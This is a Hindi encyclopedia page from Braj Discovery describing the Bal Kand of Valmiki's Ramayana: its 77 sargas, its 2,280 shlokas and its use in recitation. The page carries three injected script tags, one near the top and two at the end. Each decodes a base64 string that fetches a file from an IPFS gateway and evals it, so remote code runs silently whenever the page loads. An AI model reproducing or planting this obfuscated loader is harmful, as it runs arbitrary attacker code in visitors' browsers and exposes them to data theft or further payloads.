बाल काण्ड वा. रा.

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाल काण्ड / Baal Kand

इस काण्ड में प्रथम सर्ग ‘मूलरामायण’के नाम से प्रख्यात है। इसमें नारद से वाल्मीकि संक्षेप में सम्पूर्ण रामकथा का श्रवण करते हैं। द्वितीय सर्ग में क्रौञ्चमिथुन का प्रसंग और प्रथम आदिकाव्य की पक्तियाँ ‘मा निषाद’ का वर्णन है। तृतीय सर्ग में रामायण के विषय तथा चतुर्थ में रामायण की रचना तथा लव कुश के गान हेतु आज्ञापित करने का प्रसंग वर्णित है। इसके पश्चात रामायण की मुख्य विषयवस्तु का प्रारम्भ अयोध्या-वर्णन से होता है। दशरथ का यज्ञ, तीन रानियों से चार पुत्रों का जन्म, विश्वामित्र का राम-लक्ष्मण को ले जाकर बला तथा अतिबला विद्याएँ प्रदान करना, राक्षसों का वध, जनक के धनुषयज्ञ में जाकर सीता का विवाह आदि वृतान्त वर्णित हैं। बाल काण्ड में 77 सर्ग तथा 2280 श्लोक प्राप्त होते हैं:-
बालकाण्डे तु सर्गाणां कथिता सप्तसप्तति:।
श्लोकानां द्वे सहस्त्रे च साशीति शतकद्वयम्॥<balloon title="वाल्मीकि रामायण- बालकाण्ड 77 सर्गान्त में अमृतकतकटीका, पृ॰ 527" style=color:blue>*</balloon>
रामायण के बालकाण्ड का महत्व धार्मिक दृष्टि से भी है। बृहद्धर्मपुराण में लिखा है कि अनावृष्टि, महापीडा और ग्रहपीडा से दु:खित व्यक्ति इस काण्ड के पाठ से मुक्त हो सकते हैं।[१] अत: उक्त कार्यों हेतु इस काण्ड का पारायण भी प्रचलित है।

टीका टिप्पणी और संदर्भ

  1. अनावृष्टिर्महापीडाग्रहपीडाप्रपीडिता:।
    आदिकाण्डं पठेयुर्ये ते मुच्यन्ते ततो भयात्॥ बृहद्धर्मपुराण-पूर्वखण्ड 26.9

अन्य लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>